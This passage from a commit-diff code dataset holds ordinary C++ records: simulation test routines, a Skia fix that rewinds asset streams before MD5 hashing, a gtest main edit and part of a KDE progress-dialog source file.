simulation->DATA_SAMPLING_RATE = 20;\r\n    simulation->NUM_MC_SWEEPS = 500000;\r\n    simulation->run_mc();\r\n\r\n    simulation->SAMPLER_SET->write_config_snapshot();\r\n    cerr << \"\\n---- END - UMBRELLA SAMPLING ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::run_all_tests(int argc, char** argv) {\r\n    run_umbrella_system();\r\n    \/\/test_water_rotation();\r\n    \/\/test_lammpstrj_output();\r\n    \/\/test_config_output();\r\n    \/\/test_config_input();\r\n    \/\/test_radial_dist();\r\n    \/\/test_ion_pair_dist();\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_config_input() {\r\n    cerr << \"---- BEGIN TEST - CONFIG FILE INPUT ----\" << endl\r\n            << \"Reading from input file sample.config...\\n\" << endl;\r\n    Simulation * simulation = ConfigReader::new_simulation_with_config(\"sample.config\");\r\n    cout << simulation << endl;\r\n    cerr << \"\\n---- END TEST - CONFIG FILE INPUT ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_lammpstrj_output() {\r\n    cerr << \"---- BEGIN TEST - LAMMPSTRJ (VMD) FILE OUTPUT ----\" << endl;\r\n    Simulation * s = new Simulation();\r\n    s->SAMPLER_SET->turn_on_lammpstrj_sampler();\r\n    s->DATA_SAMPLING_RATE = 2;\r\n    s->NUM_MC_SWEEPS = 10;\r\n    s->run_mc();\r\n    cerr << \"\\n---- END TEST - LAMMPSTRJ (VMD) FILE OUTPUT ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_config_output() {\r\n    cerr << \"---- BEGIN TEST - CONFIG FILE OUTPUT ----\" << endl;\r\n    Simulation * s = new Simulation();\r\n    s->IONS[0]->charge = -1.0;\r\n    s->IONS[1]->charge = 1.0;\r\n    s->NUM_MC_SWEEPS = 10;\r\n    s->turn_on_window_sampling_mc(9.12, 12.56);\r\n    s->run_mc();\r\n    s->SAMPLER_SET->write_config_snapshot();\r\n    cerr << \"\\n---- END TEST - CONFIG FILE OUTPUT ----\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_radial_dist() {\r\n    cerr << \"---- BEGIN TEST - RADIAL DISTRIBUTION SAMPLER ----\" << endl;\r\n    Simulation * simulation = new Simulation();\r\n    simulation->IONS[0]->charge = -1.0;\r\n    simulation->IONS[1]->charge = 1.0;\r\n    simulation->NUM_MC_SWEEPS = 50000;\r\n    simulation->SAMPLER_SET->add_rdf_sampler();\r\n    simulation->run_mc();\r\n    simulation->SAMPLER_SET->print_individual_sampler_results();\r\n    cerr << \"\\n---- END TEST - RADIAL DISTRIBUTION SAMPLER ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_ion_pair_dist() {\r\n    cerr << \"---- BEGIN TEST - ION PAIR DISTANCE SAMPLER ----\" << endl;\r\n    Simulation * simulation = new Simulation();\r\n    simulation->IONS[0]->charge = -1.0;\r\n    simulation->IONS[1]->charge = 1.0;\r\n    simulation->NUM_MC_SWEEPS = 50000;\r\n    simulation->SAMPLER_SET->add_ion_pair_distance_sampler();\r\n    simulation->run_mc();\r\n    simulation->SAMPLER_SET->print_individual_sampler_results();\r\n    cerr << \"---- END TEST - ION PAIR DISTANCE SAMPLER ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_water_rotation() {\r\n    cerr << \"---- BEGIN TEST - WATER ROTATION ----\" << endl;\r\n    double * coords = new double [9];\r\n    coords[0] = 1.34;\r\n    coords[1] = 2.0;\r\n    coords[2] = 3.2;\r\n    for (int i = 3; i < 9; i++)\r\n        coords[i] = RAN3()*5.0;\r\n    Water * w = new Water(coords, 0.2, 0.17, 20.0, 20.0);\r\n    delete [] coords;\r\n    for (int k = 0; k < 10000; k++) {\r\n        w->mc_rotate();\r\n        cout << w << endl;\r\n    }\r\n    cerr << \"---- END TEST - WATER ROTATION ----\\n\" << endl;\r\n    return;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"DMWriteTask.h\"\n\n#include \"DMUtil.h\"\n#include \"SkColorPriv.h\"\n#include \"SkCommonFlags.h\"\n#include \"SkData.h\"\n#include \"SkImageEncoder.h\"\n#include \"SkMD5.h\"\n#include \"SkMallocPixelRef.h\"\n#include \"SkOSFile.h\"\n#include \"SkStream.h\"\n#include \"SkString.h\"\n\nDEFINE_bool(nameByHash, false, \"If true, write ...\/hash.png instead of ...\/mode\/config\/name.png\");\n\nnamespace DM {\n\n\/\/ Splits off the last N suffixes of name (splitting on _) and appends them to out.\n\/\/ Returns the total number of characters consumed.\nstatic int split_suffixes(int N, const char* name, SkTArray<SkString>* out) {\n    SkTArray<SkString> split;\n    SkStrSplit(name, \"_\", &split);\n    int consumed = 0;\n    for (int i = 0; i < N; i++) {\n        \/\/ We're splitting off suffixes from the back to front.\n        out->push_back(split[split.count()-i-1]);\n        consumed += out->back().size() + 1;  \/\/ Add one for the _.\n    }\n    return consumed;\n}\n\ninline static SkString find_base_name(const Task& parent, SkTArray<SkString>* suffixList) {\n    const int suffixes = parent.depth() + 1;\n    const SkString& name = parent.name();\n    const int totalSuffixLength = split_suffixes(suffixes, name.c_str(), suffixList);\n    return SkString(name.c_str(), name.size() - totalSuffixLength);\n}\n\nWriteTask::WriteTask(const Task& parent, const char* sourceType, SkBitmap bitmap)\n    : CpuTask(parent)\n    , fBaseName(find_base_name(parent, &fSuffixes))\n    , fSourceType(sourceType)\n    , fBitmap(bitmap)\n    , fData(NULL)\n    , fExtension(\".png\") {\n}\n\nWriteTask::WriteTask(const Task& parent,\n                     const char* sourceType,\n                     SkStreamAsset *data,\n                     const char* ext)\n    : CpuTask(parent)\n    , fBaseName(find_base_name(parent, &fSuffixes))\n    , fSourceType(sourceType)\n    , fData(data)\n    , fExtension(ext) {\n    SkASSERT(fData.get());\n    SkASSERT(fData->unique());\n}\n\nvoid WriteTask::makeDirOrFail(SkString dir) {\n    if (!sk_mkdir(dir.c_str())) {\n        this->fail();\n    }\n}\n\nstatic SkString get_md5_string(SkMD5* hasher) {\n    SkMD5::Digest digest;\n    hasher->finish(digest);\n\n    SkString md5;\n    for (int i = 0; i < 16; i++) {\n        md5.appendf(\"%02x\", digest.data[i]);\n    }\n    return md5;\n}\n\nstatic SkString get_md5(const void* ptr, size_t len) {\n    SkMD5 hasher;\n    hasher.write(ptr, len);\n    return get_md5_string(&hasher);\n}\n\nstatic SkString get_md5(SkStreamAsset* stream) {\n    SkMD5 hasher;\n    hasher.writeStream(stream, stream->getLength());\n    return get_md5_string(&hasher);\n}\n\nstruct JsonData {\n    SkString name;            \/\/ E.g. \"ninepatch-stretch\", \"desk-gws_skp\"\n    SkString config;          \/\/      \"gpu\", \"8888\"\n    SkString mode;            \/\/      \"direct\", \"default-tilegrid\", \"pipe\"\n    SkString sourceType;      \/\/      \"GM\", \"SKP\"\n    SkString md5;             \/\/ In ASCII, so 32 bytes long.\n};\nSkTArray<JsonData> gJsonData;\nSK_DECLARE_STATIC_MUTEX(gJsonDataLock);\n\nvoid WriteTask::draw() {\n    SkString md5;\n    {\n        SkAutoLockPixels lock(fBitmap);\n        md5 = fData ? get_md5(fData)\n                    : get_md5(fBitmap.getPixels(), fBitmap.getSize());\n    }\n\n    SkASSERT(fSuffixes.count() > 0);\n    SkString config = fSuffixes.back();\n    SkString mode(\"direct\");\n    if (fSuffixes.count() > 1) {\n        mode = fSuffixes.fromBack(1);\n    }\n\n    JsonData entry = { fBaseName, config, mode, fSourceType, md5 };\n    {\n        SkAutoMutexAcquire lock(&gJsonDataLock);\n        gJsonData.push_back(entry);\n    }\n\n    SkString dir(FLAGS_writePath[0]);\n#if defined(SK_BUILD_FOR_IOS)\n    if (dir.equals(\"@\")) {\n        dir.set(FLAGS_resourcePath[0]);\n    }\n#endif\n    this->makeDirOrFail(dir);\n\n    SkString path;\n    if (FLAGS_nameByHash) {\n        \/\/ Flat directory of hash-named files.\n        path = SkOSPath::Join(dir.c_str(), md5.c_str());\n        path.append(fExtension);\n        \/\/ We're content-addressed, so it's possible two threads race to write\n        \/\/ this file.  We let the first one win.  This also means we won't\n        \/\/ overwrite identical files from previous runs.\n        if (sk_exists(path.c_str())) {\n            return;\n        }\n    } else {\n        \/\/ Nested by mode, config, etc.\n        for (int i = 0; i < fSuffixes.count(); i++) {\n            dir = SkOSPath::Join(dir.c_str(), fSuffixes[i].c_str());\n            this->makeDirOrFail(dir);\n        }\n        path = SkOSPath::Join(dir.c_str(), fBaseName.c_str());\n        path.append(fExtension);\n        \/\/ The path is unique, so two threads can't both write to the same file.\n        \/\/ If already present we overwrite here, since the content may have changed.\n    }\n\n    SkFILEWStream file(path.c_str());\n    if (!file.isValid()) {\n        return this->fail(\"Can't open file.\");\n    }\n\n    bool ok = fData ? file.writeStream(fData, fData->getLength())\n                    : SkImageEncoder::EncodeStream(&file, fBitmap, SkImageEncoder::kPNG_Type, 100);\n    if (!ok) {\n        return this->fail(\"Can't write to file.\");\n    }\n}\n\nSkString WriteTask::name() const {\n    SkString name(\"writing \");\n    for (int i = 0; i < fSuffixes.count(); i++) {\n        name.appendf(\"%s\/\", fSuffixes[i].c_str());\n    }\n    name.append(fBaseName.c_str());\n    return name;\n}\n\nbool WriteTask::shouldSkip() const {\n    return FLAGS_writePath.isEmpty();\n}\n\nvoid WriteTask::DumpJson() {\n    if (FLAGS_writePath.isEmpty()) {\n        return;\n    }\n\n    Json::Value root;\n\n    for (int i = 1; i < FLAGS_properties.count(); i += 2) {\n        root[FLAGS_properties[i-1]] = FLAGS_properties[i];\n    }\n    for (int i = 1; i < FLAGS_key.count(); i += 2) {\n        root[\"key\"][FLAGS_key[i-1]] = FLAGS_key[i];\n    }\n\n    {\n        SkAutoMutexAcquire lock(&gJsonDataLock);\n        for (int i = 0; i < gJsonData.count(); i++) {\n            Json::Value result;\n            result[\"key\"][\"name\"]            = gJsonData[i].name.c_str();\n            result[\"key\"][\"config\"]          = gJsonData[i].config.c_str();\n            result[\"key\"][\"mode\"]            = gJsonData[i].mode.c_str();\n            result[\"options\"][\"source_type\"] = gJsonData[i].sourceType.c_str();\n            result[\"md5\"]                    = gJsonData[i].md5.c_str();\n\n            root[\"results\"].append(result);\n        }\n    }\n\n    SkString path = SkOSPath::Join(FLAGS_writePath[0], \"dm.json\");\n    SkFILEWStream stream(path.c_str());\n    stream.writeText(Json::StyledWriter().write(root).c_str());\n    stream.flush();\n}\n\n}  \/\/ namespace DM\n<commit_msg>Fix DMWriteTask to write PDF files correctly<commit_after>#include \"DMWriteTask.h\"\n\n#include \"DMUtil.h\"\n#include \"SkColorPriv.h\"\n#include \"SkCommonFlags.h\"\n#include \"SkData.h\"\n#include \"SkImageEncoder.h\"\n#include \"SkMD5.h\"\n#include \"SkMallocPixelRef.h\"\n#include \"SkOSFile.h\"\n#include \"SkStream.h\"\n#include \"SkString.h\"\n\nDEFINE_bool(nameByHash, false, \"If true, write ...\/hash.png instead of ...\/mode\/config\/name.png\");\n\nnamespace DM {\n\n\/\/ Splits off the last N suffixes of name (splitting on _) and appends them to out.\n\/\/ Returns the total number of characters consumed.\nstatic int split_suffixes(int N, const char* name, SkTArray<SkString>* out) {\n    SkTArray<SkString> split;\n    SkStrSplit(name, \"_\", &split);\n    int consumed = 0;\n    for (int i = 0; i < N; i++) {\n        \/\/ We're splitting off suffixes from the back to front.\n        out->push_back(split[split.count()-i-1]);\n        consumed += out->back().size() + 1;  \/\/ Add one for the _.\n    }\n    return consumed;\n}\n\ninline static SkString find_base_name(const Task& parent, SkTArray<SkString>* suffixList) {\n    const int suffixes = parent.depth() + 1;\n    const SkString& name = parent.name();\n    const int totalSuffixLength = split_suffixes(suffixes, name.c_str(), suffixList);\n    return SkString(name.c_str(), name.size() - totalSuffixLength);\n}\n\nWriteTask::WriteTask(const Task& parent, const char* sourceType, SkBitmap bitmap)\n    : CpuTask(parent)\n    , fBaseName(find_base_name(parent, &fSuffixes))\n    , fSourceType(sourceType)\n    , fBitmap(bitmap)\n    , fData(NULL)\n    , fExtension(\".png\") {\n}\n\nWriteTask::WriteTask(const Task& parent,\n                     const char* sourceType,\n                     SkStreamAsset *data,\n                     const char* ext)\n    : CpuTask(parent)\n    , fBaseName(find_base_name(parent, &fSuffixes))\n    , fSourceType(sourceType)\n    , fData(data)\n    , fExtension(ext) {\n    SkASSERT(fData.get());\n    SkASSERT(fData->unique());\n}\n\nvoid WriteTask::makeDirOrFail(SkString dir) {\n    if (!sk_mkdir(dir.c_str())) {\n        this->fail();\n    }\n}\n\nstatic SkString get_md5_string(SkMD5* hasher) {\n    SkMD5::Digest digest;\n    hasher->finish(digest);\n\n    SkString md5;\n    for (int i = 0; i < 16; i++) {\n        md5.appendf(\"%02x\", digest.data[i]);\n    }\n    return md5;\n}\n\nstatic SkString get_md5(const void* ptr, size_t len) {\n    SkMD5 hasher;\n    hasher.write(ptr, len);\n    return get_md5_string(&hasher);\n}\n\nstatic bool write_asset(SkStreamAsset* input, SkWStream* output) {\n    return input->rewind() && output->writeStream(input, input->getLength());\n}\n\nstatic SkString get_md5(SkStreamAsset* stream) {\n    SkMD5 hasher;\n    write_asset(stream, &hasher);\n    return get_md5_string(&hasher);\n}\n\nstruct JsonData {\n    SkString name;            \/\/ E.g. \"ninepatch-stretch\", \"desk-gws_skp\"\n    SkString config;          \/\/      \"gpu\", \"8888\"\n    SkString mode;            \/\/      \"direct\", \"default-tilegrid\", \"pipe\"\n    SkString sourceType;      \/\/      \"GM\", \"SKP\"\n    SkString md5;             \/\/ In ASCII, so 32 bytes long.\n};\nSkTArray<JsonData> gJsonData;\nSK_DECLARE_STATIC_MUTEX(gJsonDataLock);\n\nvoid WriteTask::draw() {\n    SkString md5;\n    {\n        SkAutoLockPixels lock(fBitmap);\n        md5 = fData ? get_md5(fData)\n                    : get_md5(fBitmap.getPixels(), fBitmap.getSize());\n    }\n\n    SkASSERT(fSuffixes.count() > 0);\n    SkString config = fSuffixes.back();\n    SkString mode(\"direct\");\n    if (fSuffixes.count() > 1) {\n        mode = fSuffixes.fromBack(1);\n    }\n\n    JsonData entry = { fBaseName, config, mode, fSourceType, md5 };\n    {\n        SkAutoMutexAcquire lock(&gJsonDataLock);\n        gJsonData.push_back(entry);\n    }\n\n    SkString dir(FLAGS_writePath[0]);\n#if defined(SK_BUILD_FOR_IOS)\n    if (dir.equals(\"@\")) {\n        dir.set(FLAGS_resourcePath[0]);\n    }\n#endif\n    this->makeDirOrFail(dir);\n\n    SkString path;\n    if (FLAGS_nameByHash) {\n        \/\/ Flat directory of hash-named files.\n        path = SkOSPath::Join(dir.c_str(), md5.c_str());\n        path.append(fExtension);\n        \/\/ We're content-addressed, so it's possible two threads race to write\n        \/\/ this file.  We let the first one win.  This also means we won't\n        \/\/ overwrite identical files from previous runs.\n        if (sk_exists(path.c_str())) {\n            return;\n        }\n    } else {\n        \/\/ Nested by mode, config, etc.\n        for (int i = 0; i < fSuffixes.count(); i++) {\n            dir = SkOSPath::Join(dir.c_str(), fSuffixes[i].c_str());\n            this->makeDirOrFail(dir);\n        }\n        path = SkOSPath::Join(dir.c_str(), fBaseName.c_str());\n        path.append(fExtension);\n        \/\/ The path is unique, so two threads can't both write to the same file.\n        \/\/ If already present we overwrite here, since the content may have changed.\n    }\n\n    SkFILEWStream file(path.c_str());\n    if (!file.isValid()) {\n        return this->fail(\"Can't open file.\");\n    }\n\n    bool ok = fData ? write_asset(fData, &file)\n                    : SkImageEncoder::EncodeStream(&file, fBitmap, SkImageEncoder::kPNG_Type, 100);\n    if (!ok) {\n        return this->fail(\"Can't write to file.\");\n    }\n}\n\nSkString WriteTask::name() const {\n    SkString name(\"writing \");\n    for (int i = 0; i < fSuffixes.count(); i++) {\n        name.appendf(\"%s\/\", fSuffixes[i].c_str());\n    }\n    name.append(fBaseName.c_str());\n    return name;\n}\n\nbool WriteTask::shouldSkip() const {\n    return FLAGS_writePath.isEmpty();\n}\n\nvoid WriteTask::DumpJson() {\n    if (FLAGS_writePath.isEmpty()) {\n        return;\n    }\n\n    Json::Value root;\n\n    for (int i = 1; i < FLAGS_properties.count(); i += 2) {\n        root[FLAGS_properties[i-1]] = FLAGS_properties[i];\n    }\n    for (int i = 1; i < FLAGS_key.count(); i += 2) {\n        root[\"key\"][FLAGS_key[i-1]] = FLAGS_key[i];\n    }\n\n    {\n        SkAutoMutexAcquire lock(&gJsonDataLock);\n        for (int i = 0; i < gJsonData.count(); i++) {\n            Json::Value result;\n            result[\"key\"][\"name\"]            = gJsonData[i].name.c_str();\n            result[\"key\"][\"config\"]          = gJsonData[i].config.c_str();\n            result[\"key\"][\"mode\"]            = gJsonData[i].mode.c_str();\n            result[\"options\"][\"source_type\"] = gJsonData[i].sourceType.c_str();\n            result[\"md5\"]                    = gJsonData[i].md5.c_str();\n\n            root[\"results\"].append(result);\n        }\n    }\n\n    SkString path = SkOSPath::Join(FLAGS_writePath[0], \"dm.json\");\n    SkFILEWStream stream(path.c_str());\n    stream.writeText(Json::StyledWriter().write(root).c_str());\n    stream.flush();\n}\n\n}  \/\/ namespace DM\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>simplify size calculation<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"gtest\/gtest.h\"\n\n#include \"string-util\/main.h\"\n#include \"builtins\/main.h\"\n#include \"file\/main.h\"\n#include \"result-tree\/main.h\"\n#include \"node-util\/main.h\"\n#include \"parser\/main.h\"\n\n\nint main(int argc, char ** argv)\n{\n  testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}\n\n<commit_msg>remove outdated result-tree tests<commit_after>#include \"gtest\/gtest.h\"\n\n#include \"string-util\/main.h\"\n#include \"builtins\/main.h\"\n#include \"file\/main.h\"\n#include \"node-util\/main.h\"\n#include \"parser\/main.h\"\n\n\nint main(int argc, char ** argv)\n{\n  testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/** -*- c++ -*-\n * progressdialog.cpp\n *\n *  Copyright (c) 2004 Till Adam <adam@kde.org>,\n *                     David Faure <faure@kde.org>\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; version 2 of the License\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n *  In addition, as a special exception, the copyright holders give\n *  permission to link the code of this program with any edition of\n *  the Qt library by Trolltech AS, Norway (or with modified versions\n *  of Qt that use the same license as Qt), and distribute linked\n *  combinations including the two.  You must obey the GNU General\n *  Public License in all respects for all of the code used other than\n *  Qt.  If you modify this file, you may extend this exception to\n *  your version of the file, but you are not obligated to do so.  If\n *  you do not wish to do so, delete this exception statement from\n *  your version.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <qapplication.h>\n#include <qlayout.h>\n#include <q3progressbar.h>\n#include <qtimer.h>\n#include <q3header.h>\n#include <qobject.h>\n#include <q3scrollview.h>\n#include <qtoolbutton.h>\n#include <qpushbutton.h>\n#include <q3vbox.h>\n#include <qtooltip.h>\n\/\/Added by qt3to4:\n#include <QCloseEvent>\n#include <QEvent>\n#include <Q3Frame>\n#include <QLabel>\n\n#include <klocale.h>\n#include <kdialog.h>\n#include <kstdguiitem.h>\n#include <kiconloader.h>\n#include <kdebug.h>\n\n#include \"progressdialog.h\"\n#include \"progressmanager.h\"\n#include \"ssllabel.h\"\n#include <q3whatsthis.h>\n\nnamespace KPIM {\n\nclass TransactionItem;\n\nTransactionItemView::TransactionItemView( QWidget * parent,\n                                          const char * name,\n                                          Qt::WFlags f )\n    : Q3ScrollView( parent, name, f ) {\n  setFrameStyle( NoFrame );\n  mBigBox = new Q3VBox( viewport() );\n  mBigBox->setSpacing( 5 );\n  addChild( mBigBox );\n  setResizePolicy( Q3ScrollView::AutoOneFit ); \/\/ Fit so that the box expands horizontally\n}\n\nTransactionItem* TransactionItemView::addTransactionItem( ProgressItem* item, bool first )\n{\n   TransactionItem *ti = new TransactionItem( mBigBox, item, first );\n   ti->hide();\n   QTimer::singleShot( 1000, ti, SLOT( show() ) );\n   return ti;\n}\n\nvoid TransactionItemView::resizeContents( int w, int h )\n{\n  \/\/kdDebug(5300) << k_funcinfo << w << \",\" << h << endl;\n  Q3ScrollView::resizeContents( w, h );\n  \/\/ Tell the layout in the parent (progressdialog) that our size changed\n  updateGeometry();\n  \/\/ Resize the parent (progressdialog) - this works but resize horizontally too often\n  \/\/parentWidget()->adjustSize();\n\n  QApplication::sendPostedEvents( 0, QEvent::ChildInserted );\n  QApplication::sendPostedEvents( 0, QEvent::LayoutHint );\n  QSize sz = parentWidget()->sizeHint();\n  int currentWidth = parentWidget()->width();\n  \/\/ Don't resize to sz.width() every time when it only reduces a little bit\n  if ( currentWidth < sz.width() || currentWidth > sz.width() + 100 )\n    currentWidth = sz.width();\n  parentWidget()->resize( currentWidth, sz.height() );\n}\n\nQSize TransactionItemView::sizeHint() const\n{\n  return minimumSizeHint();\n}\n\nQSize TransactionItemView::minimumSizeHint() const\n{\n  int f = 2 * frameWidth();\n  \/\/ Make room for a vertical scrollbar in all cases, to avoid a horizontal one\n  int vsbExt = verticalScrollBar()->sizeHint().width();\n  int minw = topLevelWidget()->width() \/ 3;\n  int maxh = topLevelWidget()->height() \/ 2;\n  QSize sz( mBigBox->minimumSizeHint() );\n  sz.setWidth( QMAX( sz.width(), minw ) + f + vsbExt );\n  sz.setHeight( QMIN( sz.height(), maxh ) + f );\n  return sz;\n}\n\n\nvoid TransactionItemView::slotLayoutFirstItem()\n{\n  \/*\n     The below relies on some details in Qt's behaviour regarding deleting\n     objects. This slot is called from the destroyed signal of an item just\n     going away. That item is at that point still in the  list of chilren, but\n     since the vtable is already gone, it will have type QObject. The first\n     one with both the right name and the right class therefor is what will\n     be the first item very shortly. That's the one we want to remove the\n     hline for.\n  *\/\n  QObject *o = mBigBox->child( \"TransactionItem\", \"KPIM::TransactionItem\" );\n  TransactionItem *ti = dynamic_cast<TransactionItem*>( o );\n  if ( ti ) {\n    ti->hideHLine();\n  }\n}\n\n\n\/\/ ----------------------------------------------------------------------------\n\nTransactionItem::TransactionItem( QWidget* parent,\n                                  ProgressItem *item, bool first )\n  : Q3VBox( parent, \"TransactionItem\" ), mCancelButton( 0 ), mItem( item )\n\n{\n  setSpacing( 2 );\n  setMargin( 2 );\n  setSizePolicy( QSizePolicy( QSizePolicy::Preferred, QSizePolicy::Fixed ) );\n\n  mFrame = new Q3Frame( this );\n  mFrame->setFrameShape( Q3Frame::HLine );\n  mFrame->setFrameShadow( Q3Frame::Raised );\n  mFrame->show();\n  setStretchFactor( mFrame, 3 );\n\n  Q3HBox *h = new Q3HBox( this );\n  h->setSpacing( 5 );\n\n  mItemLabel = new QLabel( item->label(), h );\n  h->setSizePolicy( QSizePolicy( QSizePolicy::Preferred, QSizePolicy::Fixed ) );\n\n  mProgress = new Q3ProgressBar( 100, h );\n  mProgress->setProgress( item->progress() );\n\n  if ( item->canBeCanceled() ) {\n    mCancelButton = new QPushButton( SmallIcon( \"cancel\" ), QString::null, h );\n    QToolTip::add( mCancelButton, i18n(\"Cancel this operation.\") );\n    connect ( mCancelButton, SIGNAL( clicked() ),\n              this, SLOT( slotItemCanceled() ));\n  }\n  \n  h = new Q3HBox( this );\n  h->setSpacing( 5 );\n  h->setSizePolicy( QSizePolicy( QSizePolicy::Preferred, QSizePolicy::Fixed ) );\n  mSSLLabel = new SSLLabel( h );\n  mSSLLabel->setSizePolicy( QSizePolicy( QSizePolicy::Fixed, QSizePolicy::Fixed ) );\n  mItemStatus =  new QLabel( item->status(), h );\n  setCrypto( item->usesCrypto() );\n  if( first ) hideHLine();\n}\n\nTransactionItem::~TransactionItem()\n{\n}\n\nvoid TransactionItem::hideHLine()\n{\n    mFrame->hide();\n}\n\nvoid TransactionItem::setProgress( int progress )\n{\n  mProgress->setProgress( progress );\n}\n\nvoid TransactionItem::setLabel( const QString& label )\n{\n  mItemLabel->setText( label );\n}\n\nvoid TransactionItem::setStatus( const QString& status )\n{\n  mItemStatus->setText( status );\n}\n\nvoid TransactionItem::setCrypto( bool on )\n{\n  if (on)\n    mSSLLabel->setEncrypted( true );\n  else\n    mSSLLabel->setEncrypted( false );\n\n  mSSLLabel->setState( mSSLLabel->lastState() );\n}\n\nvoid TransactionItem::slotItemCanceled()\n{\n  if ( mItem )\n    mItem->cancel();\n}\n\n\nvoid TransactionItem::addSubTransaction( ProgressItem* \/*item*\/ )\n{\n\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\nProgressDialog::ProgressDialog( QWidget* alignWidget, QWidget* parent, const char* name )\n    : OverlayWidget( alignWidget, parent, name ), mWasLastShown( false )\n{\n    setFrameStyle( Q3Frame::Panel | Q3Frame::Sunken ); \/\/ QFrame\n    setSpacing( 0 ); \/\/ QHBox\n    setMargin( 1 );\n\n    mScrollView = new TransactionItemView( this, \"ProgressScrollView\" );\n\n    \/\/ No more close button for now, since there is no more autoshow\n    \/*\n    QVBox* rightBox = new QVBox( this );\n    QToolButton* pbClose = new QToolButton( rightBox );\n    pbClose->setAutoRaise(true);\n    pbClose->setSizePolicy( QSizePolicy( QSizePolicy::Fixed, QSizePolicy::Fixed ) );\n    pbClose->setFixedSize( 16, 16 );\n    pbClose->setIconSet( KGlobal::iconLoader()->loadIconSet( \"fileclose\", KIcon::Small, 14 ) );\n    QToolTip::add( pbClose, i18n( \"Hide detailed progress window\" ) );\n    connect(pbClose, SIGNAL(clicked()), this, SLOT(slotClose()));\n    QWidget* spacer = new QWidget( rightBox ); \/\/ don't let the close button take up all the height\n    rightBox->setStretchFactor( spacer, 100 );\n    *\/\n\n    \/*\n     * Get the singleton ProgressManager item which will inform us of\n     * appearing and vanishing items.\n     *\/\n    ProgressManager *pm = ProgressManager::instance();\n    connect ( pm, SIGNAL( progressItemAdded( KPIM::ProgressItem* ) ),\n              this, SLOT( slotTransactionAdded( KPIM::ProgressItem* ) ) );\n    connect ( pm, SIGNAL( progressItemCompleted( KPIM::ProgressItem* ) ),\n              this, SLOT( slotTransactionCompleted( KPIM::ProgressItem* ) ) );\n    connect ( pm, SIGNAL( progressItemProgress( KPIM::ProgressItem*, unsigned int ) ),\n              this, SLOT( slotTransactionProgress( KPIM::ProgressItem*, unsigned int ) ) );\n    connect ( pm, SIGNAL( progressItemStatus( KPIM::ProgressItem*, const QString& ) ),\n              this, SLOT( slotTransactionStatus( KPIM::ProgressItem*, const QString& ) ) );\n    connect ( pm, SIGNAL( progressItemLabel( KPIM::ProgressItem*, const QString& ) ),\n              this, SLOT( slotTransactionLabel( KPIM::ProgressItem*, const QString& ) ) );\n    connect ( pm, SIGNAL( progressItemUsesCrypto(KPIM::ProgressItem*, bool) ),\n              this, SLOT( slotTransactionUsesCrypto( KPIM::ProgressItem*, bool ) ) );\n    connect ( pm, SIGNAL( showProgressDialog() ),\n              this, SLOT( slotShow() ) );\n}\n\nvoid ProgressDialog::closeEvent( QCloseEvent* e )\n{\n  e->accept();\n  hide();\n}\n\n\n\/*\n *  Destructor\n *\/\nProgressDialog::~ProgressDialog()\n{\n    \/\/ no need to delete child widgets.\n}\n\nvoid ProgressDialog::slotTransactionAdded( ProgressItem *item )\n{\n   TransactionItem *parent = 0;\n   if ( item->parent() ) {\n     if ( mTransactionsToListviewItems.contains( item->parent() ) ) {\n       parent = mTransactionsToListviewItems[ item->parent() ];\n       parent->addSubTransaction( item );\n     }\n   } else {\n     const bool first = mTransactionsToListviewItems.empty();\n     TransactionItem *ti = mScrollView->addTransactionItem( item, first );\n     if ( ti )\n       mTransactionsToListviewItems.replace( item, ti );\n     if ( first && mWasLastShown )\n       QTimer::singleShot( 1000, this, SLOT( slotShow() ) );\n\n   }\n}\n\nvoid ProgressDialog::slotTransactionCompleted( ProgressItem *item )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     mTransactionsToListviewItems.remove( item );\n     ti->setItemComplete();\n     QTimer::singleShot( 3000, ti, SLOT( deleteLater() ) );\n     \/\/ see the slot for comments as to why that works\n     connect ( ti, SIGNAL( destroyed() ),\n               mScrollView, SLOT( slotLayoutFirstItem() ) );\n   }\n   \/\/ This was the last item, hide.\n   if ( mTransactionsToListviewItems.empty() )\n     QTimer::singleShot( 3000, this, SLOT( slotHide() ) );\n}\n\nvoid ProgressDialog::slotTransactionCanceled( ProgressItem* )\n{\n}\n\nvoid ProgressDialog::slotTransactionProgress( ProgressItem *item,\n                                              unsigned int progress )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setProgress( progress );\n   }\n}\n\nvoid ProgressDialog::slotTransactionStatus( ProgressItem *item,\n                                            const QString& status )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setStatus( status );\n   }\n}\n\nvoid ProgressDialog::slotTransactionLabel( ProgressItem *item,\n                                           const QString& label )\n{\n   if ( mTransactionsToListviewItems.contains( item ) ) {\n     TransactionItem *ti = mTransactionsToListviewItems[ item ];\n     ti->setLabel( label );\n   }\n}\n\n\nvoid ProgressDialog::slotTransactionUsesCrypto( ProgressItem *item,\n                                                bool value )\n{\n   if ( 